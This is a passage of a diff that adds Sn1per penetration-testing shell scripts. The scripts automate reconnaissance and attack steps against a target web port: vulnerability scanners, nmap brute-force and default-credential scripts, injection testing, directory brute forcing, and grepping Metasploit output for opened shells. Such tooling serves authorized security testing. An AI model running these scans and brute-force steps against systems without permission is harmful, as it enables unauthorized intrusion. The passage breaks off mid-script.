+      curl -s "http://$BURP_HOST:$BURP_PORT/v0.1/scan/$a" | jq '.issue_events[].issue | "[" + .severity + "] " + .name + " - " + .origin + .path' | sort -u | sed 's/\"//g' | tee $LOOT_DIR/web/burpsuite-$TARGET-$a.txt
+    done
+    echo "[-] Done!"
+  fi
+
+  if [[ "$ZAP_SCAN" == "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED RUNNING OWASP ZAP SCAN $RESET"
+  echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+  echo "[i] Scanning: http://$TARGET:$PORT/"
+    sudo python3 /usr/share/sniper/bin/zap-scan.py "http://$TARGET:$PORT/" 
+    DATE=$(date +"%Y%m%d%H%M")
+    sudo grep "'" /usr/share/sniper/bin/zap-report.txt | cut -d\' -f2 | cut -d\\ -f1 > $LOOT_DIR/web/zap-report-$TARGET-http-$DATE.html
+    cp -f $LOOT_DIR/web/zap-report-$TARGET-http-$DATE.html $LOOT_DIR/web/zap-report-$TARGET-http.html 2> /dev/null
+    echo "[i] Scan complete."
+    echo "[+] Report saved to: $LOOT_DIR/web/zap-report-$TARGET-http-$DATE.html"
+  fi
+
+  if [[ "$ARACHNI_SCAN" == "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED RUNNING ARACHNI SCAN $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    DATE=$(date +"%Y%m%d%H%M")
+    mkdir -p $LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/
+    arachni --report-save-path=$LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/ --output-only-positives http://$TARGET:$PORT | tee ${LOOT_DIR}/web/arachni_webscan_${TARGET}_${PORT}_${DATE}.txt
+
+    cd $LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/
+    arachni_reporter $LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/*.afr --report=html:outfile=$LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/arachni.zip
+    cd $LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/
+    unzip arachni.zip
+    cd $INSTALL_DIR
+  fi
+
+  if [[ "$SC0PE_VULNERABLITY_SCANNER" == "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED RUNNING SC0PE WEB VULNERABILITY SCAN $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    SSL="false"
+    source $INSTALL_DIR/modes/sc0pe-passive-webscan.sh
+    source $INSTALL_DIR/modes/sc0pe-active-webscan.sh
+    for file in `ls $INSTALL_DIR/templates/passive/web/recursive/*.sh 2> /dev/null`; do
+      source $file
+    done
+    source $INSTALL_DIR/modes/sc0pe-network-scan.sh
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+  fi
+  
+  source $INSTALL_DIR/modes/sc0pe.sh
+  cd $INSTALL_DIR
+
+  echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+  echo -e "$OKRED SCAN COMPLETE! $RESET"
+  echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+  echo "$TARGET" >> $LOOT_DIR/scans/updated.txt
+  rm -f $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt 2> /dev/null
+  ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt
+  rm -f $INSTALL_DIR/.fuse_* 2> /dev/null
+  VULNERABLE_METASPLOIT=$(egrep -h -i -s "may be vulnerable|is vulnerable|IKE response with leak|File saved in" $LOOT_DIR/output/msf-$TARGET-*.txt 2> /dev/null)
+  if [[ ${#VULNERABLE_METASPLOIT} -ge 5 ]]; then
+    echo "$VULNERABLE_METASPLOIT" > $LOOT_DIR/output/vulnerable-metasploit-$TARGET.txt 2> /dev/null
+  fi
+  VULNERABLE_SHELLSHOCK=$(egrep -h -i -s "The following URLs appear to be exploitable:" $LOOT_DIR/web/shocker-$TARGET-*.txt 2> /dev/null)
+  if [[ ${#VULNERABLE_SHELLSHOCK} -ge 5 ]]; then
+    echo "$VULNERABLE_SHELLSHOCK" > $LOOT_DIR/output/vulnerable-shellshock-$TARGET.txt 2> /dev/null
+  fi
+  SHELLED=$(egrep -h -i -s "Meterpreter session|Command executed|File(s) found:|Command Stager progress|File uploaded|Command shell session" $LOOT_DIR/output/msf-$TARGET-*.txt 2> /dev/null)
+  if [[ ${#SHELLED} -ge 5 ]]; then
+    echo "$SHELLED" > $LOOT_DIR/output/shelled-$TARGET.txt 2> /dev/null
+  fi
+  
+  echo "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: http://$TARGET:$PORT [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+  if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
+    /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: http://$TARGET:$PORT [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+  fi
+  if [[ "$LOOT" = "1" ]]; then
+    loot
+  fi  
+  exit
+fi 

modes/webporthttps.sh

@@ -0,0 +1,462 @@
+# WEBPORTHTTPS MODE #####################################################################################################
+if [[ "$MODE" = "webporthttps" ]]; then
+  if [[ "$REPORT" = "1" ]]; then
+    if [[ ! -z "$WORKSPACE" ]]; then
+      args="$args -w $WORKSPACE"
+      LOOT_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE
+      echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
+      mkdir -p $LOOT_DIR 2> /dev/null
+      mkdir $LOOT_DIR/domains 2> /dev/null
+      mkdir $LOOT_DIR/screenshots 2> /dev/null
+      mkdir $LOOT_DIR/nmap 2> /dev/null
+      mkdir $LOOT_DIR/notes 2> /dev/null
+      mkdir $LOOT_DIR/reports 2> /dev/null
+      mkdir $LOOT_DIR/scans 2> /dev/null
+      mkdir $LOOT_DIR/output 2> /dev/null
+    fi
+    echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
+    echo "sniper -t $TARGET -m $MODE -p $PORT --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
+    echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt
+    ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt
+
+    echo "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: https://$TARGET:$PORT [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+    if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
+      /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: https://$TARGET:$PORT [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+    fi
+    sniper -t $TARGET -m $MODE -p $PORT --noreport $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-$PORT-`date +"%Y%m%d%H%M"`.txt 2>&1
+    exit
+  fi
+  echo -e "$OKRED                ____               $RESET"
+  echo -e "$OKRED    _________  /  _/___  ___  _____$RESET"
+  echo -e "$OKRED   / ___/ __ \ / // __ \/ _ \/ ___/$RESET"
+  echo -e "$OKRED  (__  ) / / // // /_/ /  __/ /    $RESET"
+  echo -e "$OKRED /____/_/ /_/___/ .___/\___/_/     $RESET"
+  echo -e "$OKRED               /_/                 $RESET"
+  echo -e "$RESET"
+  echo -e "$OKORANGE + -- --=[https://sn1persecurity.com"
+  echo -e "$OKORANGE + -- --=[Sn1per v$VER by @xer0dayz"
+  echo -e ""
+  echo -e ""
+  echo -e "               ;               ,           "
+  echo -e "             ,;                 '.         "
+  echo -e "            ;:                   :;        "
+  echo -e "           ::                     ::       "
+  echo -e "           ::                     ::       "
+  echo -e "           ':                     :        "
+  echo -e "            :.                    :        "
+  echo -e "         ;' ::                   ::  '     "
+  echo -e "        .'  ';                   ;'  '.    "
+  echo -e "       ::    :;                 ;:    ::   "
+  echo -e "       ;      :;.             ,;:     ::   "
+  echo -e "       :;      :;:           ,;\"      ::   "
+  echo -e "       ::.      ':;  ..,.;  ;:'     ,.;:   "
+  echo -e "        \"'\"...   '::,::::: ;:   .;.;\"\"'    "
+  echo -e "            '\"\"\"....;:::::;,;.;\"\"\"         "
+  echo -e "        .:::.....'\"':::::::'\",...;::::;.   "
+  echo -e "       ;:' '\"\"'\"\";.,;:::::;.'\"\"\"\"\"\"  ':;   "
+  echo -e "      ::'         ;::;:::;::..         :;  "
+  echo -e "     ::         ,;:::::::::::;:..       :: "
+  echo -e "     ;'     ,;;:;::::::::::::::;\";..    ':."
+  echo -e "    ::     ;:\"  ::::::\"\"\"'::::::  \":     ::"
+  echo -e "     :.    ::   ::::::;  :::::::   :     ; "
+  echo -e "      ;    ::   :::::::  :::::::   :    ;  "
+  echo -e "       '   ::   ::::::....:::::'  ,:   '   "
+  echo -e "        '  ::    :::::::::::::\"   ::       "
+  echo -e "           ::     ':::::::::\"'    ::       "
+  echo -e "           ':       \"\"\"\"\"\"\"'      ::       "
+  echo -e "            ::                   ;:        "
+  echo -e "            ':;                 ;:\"        "
+  echo -e "    -hrr-     ';              ,;'          "
+  echo -e "                \"'           '\"            "
+  echo -e "                  ''''$RESET"
+  echo ""
+  echo "$TARGET" >> $LOOT_DIR/domains/targets.txt
+  echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+  echo -e "$OKRED RUNNING TCP PORT SCAN $RESET"
+  echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+  port_https=$PORT
+  if [[ -z "$port_https" ]];
+  then
+    echo -e "$OKRED + -- --=[Port $PORT closed... skipping.$RESET"
+  else
+    echo -e "$OKORANGE + -- --=[Port $PORT opened... running tests...$RESET"
+    echo "$TARGET" >> $LOOT_DIR/web/webhosts-unsorted.txt 2> /dev/null
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED CHECKING HTTP HEADERS AND METHODS $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    wget -qO- -T 1 --connect-timeout=5 --read-timeout=10 --tries=1 https://$TARGET:$PORT |  perl -l -0777 -ne 'print $1 if /<title.*?>\s*(.*?)\s*<\/title/si' >> $LOOT_DIR/web/title-https-$TARGET-$PORT.txt 2> /dev/null
+    curl --connect-timeout 5 --max-time 10 -I -s -R --insecure https://$TARGET:$PORT | tee $LOOT_DIR/web/headers-https-$TARGET-$PORT.txt 2> /dev/null
+    curl --connect-timeout 5 --max-time 10 -I -s -R -L --insecure https://$TARGET:$PORT | tee $LOOT_DIR/web/websource-https-$TARGET-$PORT.txt 2> /dev/null
+    curl --connect-timeout 5 --max-time 10 -I -s -R --insecure -X OPTIONS https://$TARGET:$PORT | grep Allow\: | tee $LOOT_DIR/web/http_options-$TARGET-port$PORT.txt 2> /dev/null
+    if [[ "$WEBTECH" = "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED GATHERING WEB FINGERPRINT $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      webtech -u https://$TARGET:$PORT | grep \- | cut -d- -f2- | tee $LOOT_DIR/web/webtech-$TARGET-https-port$PORT.txt
+    fi
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED DISPLAYING META GENERATOR TAGS $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    cat $LOOT_DIR/web/websource-https-$TARGET-$PORT.txt 2> /dev/null | grep generator | cut -d\" -f4 2> /dev/null | tee $LOOT_DIR/web/webgenerator-https-$TARGET-$PORT.txt 2> /dev/null
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED DISPLAYING COMMENTS $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    cat $LOOT_DIR/web/websource-https-$TARGET-$PORT.txt 2> /dev/null | grep "<\!\-\-" 2> /dev/null | tee $LOOT_DIR/web/webcomments-https-$TARGET-$PORT.txt 2> /dev/null
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED DISPLAYING SITE LINKS $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    cat $LOOT_DIR/web/websource-https-$TARGET-$PORT.txt 2> /dev/null | egrep "\"" | cut -d\" -f2 | grep  \/ | sort -u 2> /dev/null | tee $LOOT_DIR/web/weblinks-https-$TARGET-$PORT.txt 2> /dev/null
+    if [[ "$WAFWOOF" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED CHECKING FOR WAF $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      wafw00f https://$TARGET | tee $LOOT_DIR/web/waf-$TARGET-https-port443.txt 2> /dev/null
+      echo ""
+    fi
+    if [[ "$WHATWEB" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED GATHERING HTTP INFO $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      whatweb -a 3 https://$TARGET:$PORT | tee $LOOT_DIR/web/whatweb-$TARGET-https-port$PORT.raw  2> /dev/null
+      sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/whatweb-$TARGET-https-port$PORT.raw > $LOOT_DIR/web/whatweb-$TARGET-https-port$PORT.txt 2> /dev/null
+      rm -f $LOOT_DIR/web/whatweb-$TARGET-https-port$PORT.raw 2> /dev/null
+      echo ""
+    fi
+    if [[ "$WIG" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED GATHERING SERVER INFO $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      python3 $PLUGINS_DIR/wig/wig.py -d -q https://$TARGET:$PORT | tee $LOOT_DIR/web/wig-$TARGET-https-$PORT
+      sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wig-$TARGET-https-$PORT > $LOOT_DIR/web/wig-$TARGET-https-$PORT.txt 2> /dev/null
+      rm -f $LOOT_DIR/web/wig-$TARGET-https-$PORT 2> /dev/null
+    fi
+    if [[ "$SSL" = "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED GATHERING SSL/TLS INFO $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      sslscan --no-failed $TARGET:$PORT | tee $LOOT_DIR/web/sslscan-$TARGET-$PORT.raw 2> /dev/null
+      sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/sslscan-$TARGET-$PORT.raw > $LOOT_DIR/web/sslscan-$TARGET-$PORT.txt 2> /dev/null
+      rm -f $LOOT_DIR/web/sslscan-$TARGET-$PORT.raw 2> /dev/null
+      echo ""
+    fi
+    if [[ "$SSL_INSECURE" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED CHECKING FOR INSECURE SSL/TLS CONFIGURATIONS $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      curl https://$TARGET:$PORT 2> $LOOT_DIR/web/curldebug-$TARGET-$PORT.txt > /dev/null
+    fi
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED SAVING SCREENSHOTS $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    if [[ $CUTYCAPT = "1" ]]; then
+      if [[ $DISTRO == "blackarch"  ]]; then
+        /bin/CutyCapt --url=https://$TARGET:$PORT --out=$LOOT_DIR/screenshots/$TARGET-port$PORT.jpg --insecure --max-wait=5000 2> /dev/null
+      else
+        cutycapt --url=https://$TARGET:$PORT --out=$LOOT_DIR/screenshots/$TARGET-port$PORT.jpg --insecure --max-wait=5000 2> /dev/null
+      fi
+    fi
+    if [[ $WEBSCREENSHOT = "1" ]]; then
+      cd $LOOT_DIR
+      python2 $INSTALL_DIR/bin/webscreenshot.py -r chromium https://$TARGET:$PORT
+    fi
+    if [[ "$BURP_SCAN" == "1" ]]; then
+        echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+        echo -e "$OKRED RUNNING BURPSUITE SCAN $RESET"
+        echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+        if [[ "$VERBOSE" == "1" ]]; then
+          echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN curl -X POST \"http://$BURP_HOST:$BURP_PORT/v0.1/scan\" -d \"{\"scope\":{\"include\":[{\"rule\":\"https://$TARGET:$PORT\"}],\"type\":\"SimpleScope\"},\"urls\":[\"https://$TARGET:$PORT\"]}\"$RESET"
+        fi
+        curl -s -X POST "http://$BURP_HOST:$BURP_PORT/v0.1/scan" -d "{\"scope\":{\"include\":[{\"rule\":\"https://$TARGET:$PORT\"}],\"type\":\"SimpleScope\"},\"urls\":[\"https://$TARGET:$PORT\"]}"
+        echo ""
+    fi
+    if [[ "$NMAP_SCRIPTS" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      nmap -Pn -p $PORT -sV -v --script-timeout 90 --script=http-auth-finder,http-auth,http-brute,/usr/share/nmap/scripts/vulners,http-default-accounts $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port$PORT
+      sed -r "s/</\&lh\;/g" $LOOT_DIR/output/nmap-$TARGET-port$PORT 2> /dev/null > $LOOT_DIR/output/nmap-$TARGET-port$PORT.txt 2> /dev/null
+      rm -f $LOOT_DIR/output/nmap-$TARGET-port$PORT 2> /dev/null
+    fi
+    if [[ "$PASSIVE_SPIDER" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING PASSIVE WEB SPIDER $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2022-33-index?url=*.$TARGET&output=json" -H 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Googlebot/2.1; +http://www.google.com/bot.html) Safari/537.36' 2> /dev/null | jq -r .url | egrep -v "null" | tee $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null | head -n 250
+    fi
+    if [[ "$WAYBACKMACHINE" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED FETCHING WAYBACK MACHINE URLS $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      curl -sX GET "http://web.archive.org/cdx/search/cdx?url=*.$TARGET/*&output=text&fl=original&collapse=urlkey" | tee $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null | head -n 250
+    fi
+    if [[ "$HACKERTARGET" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED FETCHING HACKERTARGET URLS $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      curl -s GET "https://api.hackertarget.com/pagelinks/?q=https://$TARGET" | egrep -v "API count|no links found|input url is invalid|API count|no links found|input url is invalid|error getting links" | tee $LOOT_DIR/web/hackertarget-https-$TARGET.txt 2> /dev/null | head -n 250
+    fi
+    if [[ "$GAU" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED FETCHING GUA URLS $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      gau -subs $TARGET | tee $LOOT_DIR/web/gua-$TARGET.txt 2> /dev/null | head -n 250
+    fi
+    if [[ "$BLACKWIDOW" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING ACTIVE WEB SPIDER & APPLICATION SCAN $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      touch $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+      cp $LOOT_DIR/web/spider-$TARGET.txt $LOOT_DIR/web/spider-$TARGET.bak 2>/dev/null
+      blackwidow -u https://$TARGET:$PORT -l 3 -v n 2> /dev/null
+      cp -f /usr/share/blackwidow/"$TARGET"_"$PORT"/"$TARGET"_"$PORT"-*.txt $LOOT_DIR/web/ 2>/dev/null 
+      cat /usr/share/blackwidow/"$TARGET"_*/"$TARGET"_*-urls-sorted.txt > $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+      cat $LOOT_DIR/web/hackertarget-*-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+      cat $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+      cat $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+      cat $LOOT_DIR/web/gua-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+      sed -ir "s/</\&lh\;/g" $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+      mv -f $LOOT_DIR/web/spider-$TARGET.txtr $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+      sort -u $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null > $LOOT_DIR/web/spider-$TARGET.sorted 2>/dev/null
+      mv $LOOT_DIR/web/spider-$TARGET.sorted $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+      diff $LOOT_DIR/web/spider-$TARGET.bak $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2}' 2> /dev/null > $LOOT_DIR/web/spider-new-$TARGET.txt
+      if [[ $(wc -c $LOOT_DIR/web/spider-new-$TARGET.txt | awk '{print $1}') > 3 ]]; then
+        echo "[sn1persecurity.com] •?((¯°·._.• Spider URL change detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+        head -n 20 $LOOT_DIR/web/spider-new-$TARGET.txt 2> /dev/null >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null
+      fi
+      if [[ "$SLACK_NOTIFICATIONS_SPIDER_NEW" == "1" && "SLACK_NOTIFICATIONS" == "1" ]]; then
+        /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/spider-new-$TARGET.txt"
+      fi
+    fi
+    if [[ "$INJECTX" == "1" ]]; then
+      rm -f $LOOT_DIR/web/injectx-$TARGET-https-${PORT}.raw 2> /dev/null
+      #cat $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep '?' | grep 'https\:' | xargs -P $THREADS -r -n 1 -I '{}' injectx.py -u '{}' -vy | tee -a $LOOT_DIR/web/injectx-$TARGET-https.txt
+      for a in `cat $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep '?' | grep "https\:" | cut -d '?' -f2 | cut -d '=' -f1 | sort -u`; do for b in `grep $a $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep "https\:" | head -n 1`; do injectx.py -u $b -vy | tee -a $LOOT_DIR/web/injectx-$TARGET-https-${PORT}.txt; done; done;
+      sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/injectx-$TARGET-https-${PORT}.raw 2> /dev/null > $LOOT_DIR/web/injectx-$TARGET-https-${PORT}.txt
+    fi
+    source $INSTALL_DIR/modes/static-grep-search.sh
+    if [[ "$WEB_JAVASCRIPT_ANALYSIS" == "1" ]]; then
+      source $INSTALL_DIR/modes/javascript-analysis.sh
+    fi
+    touch $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null
+    cp $LOOT_DIR/web/dirsearch-$TARGET.txt $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null
+    if [[ "$WEB_BRUTE_COMMONSCAN" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING COMMON FILE/DIRECTORY BRUTE FORCE $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      if [[ "$DIRSEARCH" == "1" ]]; then
+        python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET:$PORT -w $WEB_BRUTE_COMMON -x $WEB_BRUTE_EXCLUDE_CODES -F -e "$WEB_BRUTE_EXTENSIONS" -t $THREADS --exclude-texts=Attack Detected,Please contact the system administrator,Page Not Found,URL No Longer Exists --random-agent --output=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
+      fi
+      if [[ "$GOBUSTER" == "1" ]]; then
+          gobuster -u https://$TARGET:$PORT -w $WEB_BRUTE_COMMON -e -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36" -t $THREADS -o $LOOT_DIR/web/webbrute-$TARGET-https-port$PORT-common.txt -fw -r
+      fi
+    fi
+    if [[ "$WEB_BRUTE_FULLSCAN" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING FULL FILE/DIRECTORY BRUTE FORCE $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
